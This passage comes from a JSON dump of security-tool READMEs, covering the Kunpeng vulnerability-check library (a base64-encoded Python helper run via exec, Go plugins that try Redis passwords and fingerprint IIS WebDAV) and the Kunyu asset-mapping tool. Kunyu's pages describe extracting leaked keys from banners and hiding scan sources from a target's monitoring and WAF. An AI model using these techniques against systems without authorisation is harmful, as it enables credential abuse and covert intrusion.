socket,base64;exec(base64.b64decode(\"aGlzdG9yeSA9IFtdCndlYiA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQp3ZWIuYmluZCgoJzAuMC4wLjAnLDgwODgpKQp3ZWIubGlzdGVuKDEwKQp3aGlsZSBUcnVlOgogICAgdHJ5OgogICAgICAgIGNvbm4sYWRkciA9IHdlYi5hY2NlcHQoKQogICAgICAgIGRhdGEgPSBjb25uLnJlY3YoNDA5NikKICAgICAgICByZXFfbGluZSA9IGRhdGEuc3BsaXQoIlxyXG4iKVswXQogICAgICAgIGFjdGlvbiA9IHJlcV9saW5lLnNwbGl0KClbMV0uc3BsaXQoJy8nKVsxXQogICAgICAgIHJhbmtfc3RyID0gcmVxX2xpbmUuc3BsaXQoKVsxXS5zcGxpdCgnLycpWzJdCiAgICAgICAgaHRtbCA9ICJORVcwMCIKICAgICAgICBpZiBhY3Rpb24gPT0gImFkZCI6CiAgICAgICAgICAgIGhpc3RvcnkuYXBwZW5kKHJhbmtfc3RyKQogICAgICAgICAgICBwcmludCAiYWRkIityYW5rX3N0cgogICAgICAgIGVsaWYgYWN0aW9uID09ICJjaGVjayI6CiAgICAgICAgICAgIHByaW50ICJjaGVjayIrcmFua19zdHIKICAgICAgICAgICAgaWYgcmFua19zdHIgaW4gaGlzdG9yeToKICAgICAgICAgICAgICAgIGh0bWw9IlZVTDAwIgogICAgICAgICAgICAgICAgaGlzdG9yeS5yZW1vdmUocmFua19zdHIpCiAgICAgICAgcmF3ID0gIkhUVFAvMS4wIDIwMCBPS1xyXG5Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLThcclxuQ29udGVudC1MZW5ndGg6ICVkXHJcbkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4lcyIgJShsZW4oaHRtbCksaHRtbCkKICAgICAgICBjb25uLnNlbmQocmF3KQogICAgICAgIGNvbm4uY2xvc2UoKQogICAgZXhjZXB0OnBhc3M=\"))'\n在辅助验证机器上运行以上代码，填入http://IP:8088，不开启则留空。\n        \"http_proxy\": \"http://123.123.123.123:1080\", // HTTP代理，所有插件http请求流量将通过代理发送（需使用内置的http请求函数util.RequestDo）\n        \"pass_list\": [\"passtest\"], // 默认密码字典，不定义则使用硬编码在代码里的小字典\n        \"extra_plugin_path\": \"/tmp/plugin/\" // 除已编译好的插件（Go、JSON）外，可指定额外插件目录（仅支持JSON插件），指定后程序会周期读取加载插件\n    }\n*/\nSetConfig(configJSON string)\n\n// 开启web接口，开启后可通过web接口进行调用，webapi调用格式请查看例子：/example/call_webapi_test.py\nStartWebServer(bindAddr string)\n\n// 获取当前版本 例如：20190227\nGetVersion() string\n```\n\n## 使用例子\nPython\n\n```python\n#coding:utf-8\n\nimport time\nimport json\nfrom ctypes import *\n\n# 加载动态连接库\nkunpeng = cdll.LoadLibrary('./kunpeng_c.so')\n\n# 定义出入参变量类型\nkunpeng.GetPlugins.restype = c_char_p\nkunpeng.Check.argtypes = [c_char_p]\nkunpeng.Check.restype = c_char_p\nkunpeng.SetConfig.argtypes = [c_char_p]\nkunpeng.GetVersion.restype = c_char_p\n\n# 获取插件信息\nout = kunpeng.GetPlugins()\nprint(out)\n\n# 修改配置\nconfig = {\n    'timeout': 10,\n    # 'aider': 'http://xxxx:8080',\n    # 'http_proxy': 'http://xxxxx:1080',\n    # 'pass_list':['xtest']\n    # 'extra_plugin_path': '/home/test/plugin/',\n}\nkunpeng.SetConfig(json.dumps(config))\n\n# 开启日志打印\nkunpeng.ShowLog()\n\n# 扫描目标\ntask = {\n    'type': 'web',\n    'netloc': 'http://www.google.cn',\n    'target': 'web'\n}\ntask2 = {\n    'type': 'service',\n    'netloc': '192.168.0.105:3306',\n    'target': 'mysql'\n}\nout = kunpeng.Check(json.dumps(task))\nprint(json.loads(out))\nout = kunpeng.Check(json.dumps(task2))\nprint(json.loads(out))\n```\n\n更多例子查看: [example] 目录，目前已提供python、golang、nodejs、lua、java的调用例子，欢迎提交更多语言的调用样例。\n\n\n## 插件开发\n支持2种类型插件，Go和JSON插件，大部分漏洞使用JSON插件即可实现验证，分别存放在plugin/go/和plugin/json/目录中。\n\n- golang插件例子1\n\n```go\n// 包名需定义goplugin\npackage goplugin\n\n// 引入plugin\nimport (\n\t\"fmt\"\n\t\"github.com/opensec-cn/kunpeng/plugin\"\n\t\"github.com/go-redis/redis\"\n)\n\n// 定义插件结构，info，result需固定存在\ntype redisWeakPass struct {\n\tinfo   plugin.Plugin // 插件信息\n\tresult []plugin.Plugin // 漏洞结果集，可返回多个\n}\n\nfunc init() {\n    // 注册插件，定义插件目标名称\n\tplugin.Regist(\"redis\", &redisWeakPass{})\n}\nfunc (d *redisWeakPass) Init() plugin.Plugin{\n\td.info = plugin.Plugin{\n\t\tName:    \"Redis 未授权访问/弱口令\", // 插件名称\n\t\tRemarks: \"导致敏感信息泄露，严重可导致服务器直接被入侵控制。\", // 漏洞描述\n\t\tLevel:   0, // 漏洞等级 {0:\"严重\"，1:\"高危\"，2：\"中危\"，3：\"低危\"，4：\"提示\"}\n\t\tType:    \"WEAKPASS\", // 漏洞类型，自由定义\n\t\tAuthor:  \"wolf\", // 插件编写作者\n\t    \tReferences: plugin.References{\n\t\t    URL: \"https://www.freebuf.com/vuls/162035.html\", // 漏洞相关文章\n\t\t    CVE: \"\", // CVE编号，没有留空或不申明\n\t\t    KPID: \"KP-0008\", // kunpeng的POC编号，累加数字\n\t\t},\n\t}\n\treturn d.info\n}\n\nfunc (d *redisWeakPass) GetResult() []plugin.Plugin {\n\tvar result = d.result\n\td.result = []plugin.Plugin{}\n\treturn result\n}\n\nfunc (d *redisWeakPass) Check(netloc string, meta plugin.TaskMeta) bool {\n\tfor _, pass := range meta.PassList {\n\t\tclient := redis.NewClient(&redis.Options{\n\t\t\tAddr:     netloc,\n\t\t\tPassword: pass,\n\t\t\tDB:       0,\n\t\t})\n\t\t_, err := client.Ping().Result()\n\t\tif err == nil {\n\t\t\tclient.Close()\n\t\t\tresult := d.info\n\t\t\tresult.Request = fmt.Sprintf(\"redis://%s@%s\", pass, netloc)\n\t\t\tif pass == \"\" {\n\t\t\t\tresult.Remarks = fmt.Sprintf(\"未授权访问，%s\", result.Remarks)\n\t\t\t} else {\n\t\t\t\tresult.Remarks = fmt.Sprintf(\"弱口令：%s,%s\", pass, result.Remarks)\n\t\t\t}\n\t\t\td.result = append(d.result, result)\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n```\n\n\n- golang插件例子2\n\n```go\npackage goplugin\n\nimport (\n\t\"net/http\"\n\t\"strings\"\n\t\"github.com/opensec-cn/kunpeng/util\"\n\t\"github.com/opensec-cn/kunpeng/plugin\"\n)\n\ntype webDavRCE struct {\n\tinfo   plugin.Plugin\n\tresult []plugin.Plugin\n}\n\nfunc init() {\n\tplugin.Regist(\"iis\", &webDavRCE{})\n}\n\nfunc (d *webDavRCE) Init() plugin.Plugin{\n\td.info = plugin.Plugin{\n\t\tName:    \"WebDav PROPFIND RCE(理论检测)\",\n\t\tRemarks: \"CVE-2017-7269,Windows Server 2003R2版本IIS6.0的WebDAV服务中的ScStoragePathFromUrl函数存在缓存区溢出漏洞\",\n\t\tLevel:   1,\n\t\tType:    \"RCE\",\n\t\tAuthor:  \"wolf\",\n\t\tReferences: plugin.References{\n\t\t\tURL: \"https://www.seebug.org/vuldb/ssvid-92834\",\n\t\t\tCVE: \"CVE-2017-7269\",\n\t\t\tKPID: \"KP-0009\",\n\t\t},\n\t}\n\treturn d.info\n}\n\nfunc (d *webDavRCE) GetResult() []plugin.Plugin {\n\tvar result = d.result\n\td.result = []plugin.Plugin{}\n\treturn result\n}\n\nfunc (d *webDavRCE) Check(URL string, meta plugin.TaskMeta) bool {\n\trequest, err := http.NewRequest(\"OPTIONS\", URL, nil)\n\tif err != nil {\n\t\treturn false\n\t}\n\t// 使用封装好的RequestDo函数发送http请求\n\tresp, err := util.RequestDo(request, true)\n\tif err != nil {\n\t\treturn false\n\t}\n\tif resp.Other.Header.Get(\"Server\") == \"Microsoft-IIS/6.0\" && strings.Contains(resp.Other.Header.Get(\"Allow\"), \"PROPFIND\") {\n\t\tresult := d.info\n\t\tresult.Response = resp.ResponseRaw\n\t\tresult.Request = resp.RequestRaw\n\t\td.result = append(d.result, result)\n\t\treturn true\n\t}\n\treturn false\n}\n```\n\n- JSON插件例子\n\n```javascript\n{\n    \"//\": \"用 Google 的方式进行注释\",\n    \"//\": \"插件所属应用名，自由定义\",\n    \"target\": \"wordpress\",\n    \"meta\":{\n        \"//\": \"插件名称\",\n        \"name\": \"WordPress example.html jQuery DomXSS\",\n        \"//\": \"漏洞描述\",\n        \"remarks\": \"WordPress example.html jQuery 1.7.2 存在DomXSS漏洞\",\n        \"//\": \"漏洞等级 {0:严重，1:高危，2：中危，3：低危，4：提示}\",\n        \"level\":   3,\n        \"//\": \"漏洞类型，自由定义\",\n        \"type\":    \"XSS\",\n        \"//\": \"插件编写作者\",\n        \"author\":  \"wolf\",\n        \"references\": {\n            \"//\": \"漏洞相关文章\",\n            \"url\":\"https://www.seebug.org/vuldb/ssvid-89179\",\n            \"//\": \"CVE编号，没有留空\",\n            \"cve\":\"\",\n\t    \"//\": \"kunpeng的POC编号，累加数字\",\n\t    \"kpid\":\"KP-0003\"\n        }\n    },\n    \"request\":{\n        \"//\": \"漏洞请求URL\",\n        \"path\": \"/wp-content/themes/twentyfifteen/genericons/example.html\",\n        \"//\": \"请求POST内容，留空即为GET\",\n        \"postData\": \"\"\n    },\n    \"verify\":{\n        \"//\": \"漏洞验证类型 {string：字符串判断,regex：正则匹配,md5：文件md5}\",\n        \"type\":  \"string\",\n        \"//\": \"漏洞验证值，与type相关联\",\n        \"match\": \"jquery/1.7.2/jquery.min.js\"\n    }\n}\n```\n\n### 编译\n\n**注意, 第三方库管理已更改为GoMod**\n\n```shell\ngo get -d github.com/opensec-cn/kunpeng\ncd $GOPATH/src/github.com/opensec-cn/kunpeng\n\n\n# 静态资源打包进工程的小程序\ngo install github.com/mjibson/esc\n\n# 打包JSON插件到项目代码中\nesc -include='\\.json$' -o plugin/json/JSONPlugin.go -pkg jsonplugin plugin/json/\n\n# 编译c版本（所有语言均可使用）\ngo build -buildmode=c-shared --ldflags=\"-w -s -X main.VERSION=20190226\" -o kunpeng_c.so\n\n# 编译Go专用版本（不支持win）\ngo build -buildmode=plugin --ldflags=\"-w -s -X main.VERSION=20190226\" -o kunpeng_go.so\n\n# 样例测试\npython example/call_so_test.py\ngo run example/callsoTest.go\n```\n\n### 效果图\n\n![img](https://github.com/opensec-cn/kunpeng/raw/master/doc/img.png)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Kunyu.md",
    "content": "## Kunyu <https://github.com/knownsec/Kunyu>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-风起-orange)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/Kunyu.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.0.0-red)\n![Time](https://img.shields.io/badge/Join-20211122-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n# 0x00 介绍\n\n## 工具介绍\n\nKunyu (坤舆)，名字取自 <坤舆万国全图> ，测绘实际上是一个地理信息相关的专业学科，针对海里的、陆地的、天上的地理信息进行盘点。同样应用于网络空间，发现未知、脆弱的资产也是如此，更像是一张网络空间地图，用来全面描述和展示网络空间资产、网络空间各要素及要素之间关系，以及网络空间和现实空间的映射关系。所以我认为“坤舆”还是比较贴合这个概念的。\n\nKunyu(坤舆)，旨在让企业资产收集更高效，使更多安全相关从业者了解、使用网络空间测绘技术。\n\n## 应用场景\n\n对于 kunyu 的使用，应用场景可以有很多，例如：\n\n* 企业内遗忘的，孤立的资产进行识别并加入安全管理。 \n* 企业外部暴露资产进行快速排查，统计。\n* 红蓝对抗相关需求使用，对捕获IP进行批量检查。\n* 批量收集脆弱资产(0day/1day) 影响内的设备、终端。\n* 新型网络犯罪涉案站点信息进行快速收集，合并，进行更高效的研判、分析。\n* 对互联网上受相关漏洞影响的脆弱资产，进行统计、复现。\n* .......\n\n# 0x01 安装\n\n**需要Python3以上的支持**\n\n```\ngit clone https://github.com/knownsec/Kunyu.git\ncd Kunyu\npip3 install -r requirements.txt\n\nLinux:\n\tpython3 setup.py install\n\tkunyu console\n\nWindows:\n\tcd kunyu\n\tpython3 console.py\n\nPYPI:\n\tpip3 install kunyu\n\t\nP.S. Windows同样支持python3 setup.py install\n```\n\n# 0x02 配置说明\n在第一次运行程序时通过输入以下命令进行初始化操作，提供了其他登录方式，推荐使用API的方式（用户名/密码登录已弃用）。\n```\nkunyu init --apikey <your zoomeye key> --seebug <your seebug key>\n```\n![](https://github.com/knownsec/Kunyu/raw/main/images/setinfo.png)\n\n初次使用需要通过ZoomEye登录凭证，才使用该工具进行信息收集，目前ZoomEye API需付费使用。\n\n**ZoomEye访问地址：https://www.zoomeye.org/**\n\n**Seebug访问地址：https://www.seebug.org/**\n\n可以通过以下命令自定义输出文件路径 ，默认输出路径为:C:\\Users\\active user\\kunyu\\output\\\n\n```bash\nkunyu init --output C:\\Users\\风起\\kunyu\\output\n```\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/setoutput.png)\n\n# 0x03 工具使用\n\n## 命令详解\n\n```\nkunyu console\n```\n![](https://github.com/knownsec/Kunyu/raw/main/images/infos.png)\n\n**Kunyu Command**\n\n```\nGlobal commands:\n        info                                      Print User Info\n        Search <Query>                            Comprehensive Information Search\n        SearchIcon <File>/<URL>                   Query Based On Icon Image\n        SearchBatch <File>                        Batch Query Assets In Files\n        SearchCert <Domain>                       SSL Certificate Search\n        SearchDomain <Domain>                     Domain Name Associated/Subdomain Search\n        EncodeHash <Encryption> <Query>           Encryption Method Interface (Base64/HEX/MD5/mmh3)\n        HostCrash <IP> <Domain>                   Host Header Scan Hidden Assets\n        show <config>/<rule>                      Show Can Set Options Or Kunyu Config\n        Seebug <Query>                            Search Seebug Vulnerability Information\n        set <Option>                              Set Global Arguments Values\n        view/views <ID>                           Look Over Banner Row Data Information\n        Cscan <IP>/<Port>                         Scans Port Information About CobaltStrike\n        PupilSearch <URL>/<ID>                    Example Query Sensitive Interfaces And Information\n        CDNAnalysis <Domain>                      Identify Whether The Domain Name Is a CDN Asset\n        Pocsuite3                                 Invoke The Pocsuite Component\n        ExportPath                                Returns The Path Of The Output File\n        CreateMap                                 Generate An IP Distribution Heat Map\n        AliveScan                                 The Viability Of The Last Retrieval\n        clear                                     Clear The Console Screen\n        help                                      Print Help Info\n        exit                                      Exit KunYu & \n```\n\n**OPTIONS**\n\n```\nZoomEye:\n        page <Number>       \t\t查询返回页数(默认查询一页)\n        size <Number>      \t\t设置每页搜索数量(默认值为每页查询10条)\n        fields <fields>     \t\t设置响应字段信息，具体以readme给出字段为准\n        dtype <0/1>         \t\t查询关联域名/子域名(设置0为查询关联域名，反之为子域名)\n        stype <v4/v6>       \t\t设置获取数据类型IPV4或IPV6，默认为 ipv4,ipv6 全选\n        btype <host/web>    \t\t设置批量查询的API接口(默认为HOST)\n        timeout <num>       \t\t设置Kunyu HTTP请求的超时时间\n        thread              \t\t设置PupilSearch线程数量(默认为10)\n        deep                \t\t设置PupilSearch递归深度(默认为2)\n        all                 \t\tPupilSearch Add All Url To Check List\n        fuzz                \t\tPupilSearch Add Api To Check List\n        proxy               \t\tPupilSearch HTTP Proxy\n```\n\n## 使用案例\n\n*Kunyu（坤舆）的使用教程如下所示*\n\n**用户信息**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/userinfo.png)\n\n**综合搜索（NEW）**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/search.png)\n\n**自定义输出字段（NEW）**\n\n具体支持输出自定义字段可参考以下：\n\n| 字段名称           | 类型    | 描述                                 | 权限             |\n| ------------------ | ------- | ------------------------------------ | ---------------- |\n| ip                 | string  | IP 地址（web 资产时不完整时使用）    | 所有用户         |\n| domain             | string  | 域名                                 | 所有用户         |\n| url                | string  | 资产的完整 URL（用于 web 资产）      | 所有用户         |\n| ssl.jarm           | string  | SSL JARM 指纹                        | 所有用户         |\n| ssl.ja3s           | string  | SSL JA3S 指纹                        | 所有用户         |\n| iconhash_md5       | string  | icon 图像的 MD5 值                   | 专业版及以上用户 |\n| robots_md5         | string  | robots.txt 文件的 MD5 值             | 商业版及以上用户 |\n| security_md5       | string  | 安全设置文件的 MD5 值                | 商业版及以上用户 |\n| hostname           | string  | 主机名信息                           | 所有用户         |\n| os                 | string  | 操作系统信息                         | 所有用户         |\n| port               | integer | 端口号                               | 所有用户         |\n| service            | string  | 提供的应用协议（例如 HTTP、SSH）     | 所有用户         |\n| title              | list    | 网页标题                             | 所有用户         |\n| version            | string  | 组件版本信息                         | 所有用户         |\n| device             | string  | 设备名称                             | 所有用户         |\n| rdns               | string  | 反向 DNS 信息                        | 所有用户         |\n| product            | string  | 产品组件信息                         | 所有用户         |\n| header             | string  | HTTP 响应头信息                      | 所有用户         |\n| header_hash        | string  | 从 HTTP 响应头计算的哈希值           | 专业版及以上用户 |\n| banner             | string  | 服务横幅信息                         | 所有用户         |\n| body               | string  | HTML 正文内容                        | 商业版及以上用户 |\n| body_hash          | string  | 从 HTML 正文计算的哈希值             | 专业版及以上用户 |\n| update_time        | string  | 资产更新时间                         | 所有用户         |\n| header.server.name | string  | HTTP 响应头中的 server 名称          | 所有用户         |\n| continent.name     | string  | 所在大洲名称                         | 所有用户         |\n| country.name       | string  | 所在国家名称                         | 所有用户         |\n| province.name      | string  | 所在省份名称                         | 所有用户         |\n| city.name          | string  | 所在城市名称                         | 所有用户         |\n| isp.name           | string  | ISP 名称                             | 所有用户         |\n| organization.name  | string  | 组织信息名称                         | 所有用户         |\n| zipcode            | integer | 邮政编码                             | 所有用户         |\n| idc                | string  | 是否为 IDC（0 表示否，1 表示是）     | 所有用户         |\n| lon                | string  | 地理位置经度                         | 所有用户         |\n| lat                | string  | 地理位置纬度                         | 所有用户         |\n| asn                | string  | 自治系统编号                         | 所有用户         |\n| protocol           | string  | 传输层协议（例如 TCP、UDP）          | 所有用户         |\n| honeypot           | integer | 是否为蜜罐（0 表示否，1 表示是）     | 所有用户         |\n| ssl                | string  | SSL x509 证书信息                    | 所有用户         |\n| primary_industry   | string  | 主行业信息                           | 商业版及以上用户 |\n| sub_industry       | string  | 子行业信息                           | 商业版及以上用户 |\n| rank               | integer | 资产重要性排名，分值越大重要性越高。 | 商业版及以上用户 |\n\n**设置更改默认输出字段**\n\n```\nSet fields = ip,port\n```\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/fields.png)\n\n**批量 IP 搜索**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/searchbatch.png)\n\n**Icon 搜索**\n\n在搜集企业资产时，我们可以使用这样的方式进行检索相同 ico 图标资产，在关联相关企业资产时，通常会有不错的效果。但是需要注意的是如果某些站点也使用这个 ico 图标，可能会关联出无关资产(但是无聊用别人 ico 图标的人总归是少数吧)。支持url或本地文件的方式搜索。\n\n**命令格式：**\n\n```\nSearchIocn https://www.baidu.com/favicon.ico\nSearchIcon /root/favicon.ico\n```\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/searchico.png)\n\n**SSL证书搜索**\n\n通过 SSL 证书的序列号进行查询，这样关联出来的资产较为精准，能搜索出使用相同证书的服务。碰到https站点时，可以通过这样的方式。\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/searchcert.png)\n\n**特征搜索**\n\n通过HTTP请求包特征或网站相关特征可以进行更加精准的串并相同框架资产\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/headersearch.png)\n\n**多因素查询**\n\n同样kunyu也支持多因素条件查询关联资产，可以通过ZoomEye逻辑运算语法实现。\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/factor.png)\n\n**关联域名/子域名搜索**\n\n对关联域名以及子域名进行搜索，默认查询关联域名，可以通过设置 dtype 参数设置 **关联域名/子域名** 两种模式。\n\n命令格式：**SearchDomain Domain**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/searchdomain.png)\n\n**设置获取数据类型**\n\n在V1.6.1版本后，用户可以通过stype参数设置获取的数据类型为IPV4或者IPV6，实现应用场景，默认参数为v4。\n\n命令格式：**set stype = v6**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/stype.png)\n\n**查看Banner信息**\n\n用户可以通过view命令查看指定序号对应信息的Banner，从而进一步分析前端代码及Header头，用户可以截取banner信息进一步的关联匹配。\n\n命令格式: **view ID**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/view.png)\n\n用户也可以通过views命令查看指定序号的SSL证书信息，通过提取SLL证书信息中的敏感信息进一步关联。\n\n命令格式：**views ID**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/views.png)\n\n**Cscan扫描cobaltStrike的端口信息**  \n\nCscan是Kunyu 1.7.2版本的一个新特性，允许您使用此命令来识别网络资产是否为cobaltStrike，并列举配置文件的详细信息。  \n\n**命令格式:**\n\n```\nCscan 1.1.1.1 443  \nCscan 1.1.1.1 443, 80  \n```\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/cscan.png)\n\n**CDNAnalysis（NEW）**\n\n注意通过代码编译的方式使用Kunyu，默认不提供该功能模块，如果需要添加该功能，需要自行编译并添加到kunyu运行路径下的/lib/cdn/路径下，根据使用操作系统不同分别命名为**linux、darwin、windows.exe**使用即可。\n\nhttps://github.com/wikiZ/CDN-Discovery\n\n**命令格式：**\n\n```\nCDNAnalysis --file ip.txt\nCDNAnalysis --domain www.baidu.com\n```\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/CDNAnalysis.png)\n\n**PupilSearch敏感信息收集**\n\n在Kunyu v1.7.0版本后，移除了KeyWord命令替换为PupilSearch，就是提取敏感数据的功能，当然也支持通过空间测绘提取历史banner信息，举个例子像accesskey这种，历史数据中banner泄露了敏感信息，哪怕现在换了服务，但是AK/SK没有过期，依旧可以直接利用，懂得都懂，支持提取敏感信息**（身份证号、IP、JWT、API接口、appid、appkey、GithubAccessKey，default username\\password、邮箱等）**。\n\n**命令格式：**\n\n```\nPupilSearch https://www.domain.com/\nPupilSearch ID(通过Kunyu返回的ID提取敏感信息)\n```\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/pupilsearch_1.png)\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/pupilsearch_2.png)\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/pupilsearch_3.png)\n\n**系统命令执行**\n\n在Kunyu v1.6.0后增加了对系统命令执行的支持，可以通过执行常用的一些系统命令进行更方便有效的调试测绘数据，具体可执行命令列表可见README文件Issue中第11条。\n\n**示例一**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/systems.png)\n\n**示例二**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/system.png)\n\n**编码哈希计算**\n\n在一些场景下，可以通过该命令进行常用的HASH加密/编码，如：BASE64、MD5、mmh3、HEX编码，通过这种方式进行调试。\n\n**命令格式：**\n\n```\nEncodeHash hex 7239dcc9beb5c9cd795415f9\nEncodeHash md5 https://www.baidu.com/favicon.ico\nEncodeHash md5 /root/favicon.ico\nEncodeHash mmh3 https://www.baidu.com/favicon.ico\nEncodeHash mmh3 /root/favicon.ico\nEncodeHash base64 dasdasdsa\n```\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/encode.png)\n\n**资产存活性扫描**\n\nKunyu V1.6.5版本后，增加了对最后一次检索结果进行存活性扫描，结果通过轮询的方式实时输出。\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/alivescan.png)\n\n**Seebug漏洞查询**\n\n通过输入想要查找的框架、设备等信息，查询历史相关漏洞，但是需要注意仅支持英文，这里后期会进行改进，升级。\n\n**命令格式:** \n\n```\nSeebug tongda\n```\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/seebug.png)\n\n**加载指纹文件**\n\nKunyu V1.6.4版本新增了加载外部指纹库的功能，Kunyu默认提供了5条指纹文件作为参考，用户可以编写自己的指纹文件进行加载或分享使用，更加灵活的进行检索，方便在溯源、安全研究、红队攻防中资源共享，增强团队协作。\n\n可以通过**show rule**命令查看当前加载指纹库的信息。\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/rule.png)\n\n默认读取指纹文件目录是在**项目目录/kunyu/rule**下，可以通过**kunyu init --rule C:\\风起\\rule**进行自定义读取指纹文件路径的设置。\n\n可以使用**show config**命令查看kunyu配置文件的信息。\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/showconfig.png)\n\n在面对复杂的指纹信息时，可以通过**项目目录/kunyu/createrule.py**生成yaml文件\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/createrule.png)\n\nyaml指纹文件格式如下，需要注意要严格按照下面标准格式，不能缺少字段。\n\n```bash\nKXID: kx-2022-07\nauthor: 风起\ncreateDate: 2022-1-4\ndescription: 查找公网部署的ngrok反向代理\nkx_name: ngrok代理工具指纹\nkx_query: '''Server: beegoServer:1.12.0'' +''<a href=\"/login/index\">Found</a>.'''\nsource: https://github.com/wikiZ/Kunyu\n```\n\n**设置参数**\n\n当设置set page = 2时，返回结果为20条，大家可以通过修改page参数，设置查询的页数，需要注意1 page = 10/条 ，可以根据需求修改该值，获取更多返回结果。\n\n**Kunyu2.0可以通过size设置每页查询数量，默认是10条，最大是10,000条/页。**\n\n通过show显示可配置的参数，以及参数当前的值。\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/show.png)\n\n**Pocsuite3 联动**\n\n在v1.3.1之后的版本中，您可以使用kunyu进行联动pocsuite3的console模式进行一体化的使用。\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/pocsuite.png)\n\n**HOSTS头碰撞**\n\n通过HOSTS碰撞，可以有效的碰撞出内网中隐藏的资产，根据中间件httpf.conf中配置的ServerName域名和IP捆绑访问即可直通内网业务系统！后续通过设置本地hosts文件实现本地DNS解析，因为本地hosts文件优先级高于DNS服务器解析。支持通过ZoomEye域名库反查或者读取TXT文件获取域名列表。\n\n**命令格式：**\n\n```\nHostCrash C:\\ip.txt C:\\host.txt\nHostCrash C:\\ip.txt baidu.com\nHostCrash 1.1.1.1 baidu.com\nHostCrash 1.1.1.1 G:\\host.txt\n```\n\n**示例一**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/searchcrash.png)\n\n**示例二**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/searchcrashs.png)\n\n**Serverless HostCrash Scan**\n\nKunyu v1.6.2新增了一个有意思的功能，结合云函数对目标进行HOSTS碰撞，通过这样的方式有效的隐藏了我们的扫描IP防止被目标态势感知捕捉到，也防止了WAF对真实IP的封禁，并对特征进行了隐匿，通过下面的扫描效果可以发现扫描的IP均为云服务厂商且每次扫描均为随机IP地址，可以通过初始化时配置云函数地址的方式自主选择是否启用。\n\n**配置导读：** [云函数的配置方法](./Serverless_CN.md)\n\n**相关技术：**https://www.anquanke.com/post/id/261551\n\n**态势感知扫描效果：**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/serverless.png)\n\n**资产分布地图**\n\nv1.6.2新增CreateMap命令，可对上次检索的资产生成地理位置分布图，更形象的描述网络空间和现实空间的映射关系，与Excel位于相同的输出目录下，生成的资产图与上次搜索结果的条数相关。\n\n**生成分布图**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/createmap.png)\n\n**Web页面**\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/map.png)\n\n**数据结果**\n\n搜索的所有结果都保存在用户根目录下，并根据当前时间戳创建目录。单次启动的所有查询结果都在一个目录下，保存为Excel格式，给予更加直观的体验。可以通过ExportPath命令返回输出路径。\n\n![](https://github.com/knownsec/Kunyu/raw/main/images/output.png)\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2021-11-23 发布文章[《Kunyu (坤舆) : 更高效的企业资产收集》](https://mp.weixin.qq.com/s/mjPDX8PhfnpjmS6LaMcD_A)\n\n## 最近更新\n\n#### [v2.0.0] - 2025-02-06\n\n**更新**  \n- 推出 Kunyu 2.0 及主要更新\n\n#### [v1.7.2] - 2022-04-20\n\n**更新**  \n- 新增 Cscan 命令，用于识别 cobaltstrike 服务以及相关信息  \n- 修复经纬度数据丢失的问题\n\n#### [v1.7.1] - 2022-03-22\n\n**更新**  \n- 优化'敏感信息搜索'功能的正则规则  \n- 修复 HTTP 域名识别错误的问题  \n\n\n#### [v1.7.0] - 2022-03-18\n\n**添加**  \n- 部分代码进行了重构，优化了程序结构  \n- 添加了'敏感信息搜索'功能\n\n#### [v1.6.5] - 2022-02-25\n\n**新增**  \n- 增加了对查询结果存活检测的功能  \n- 修复了一些模块不兼容问题\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/LBot.md",
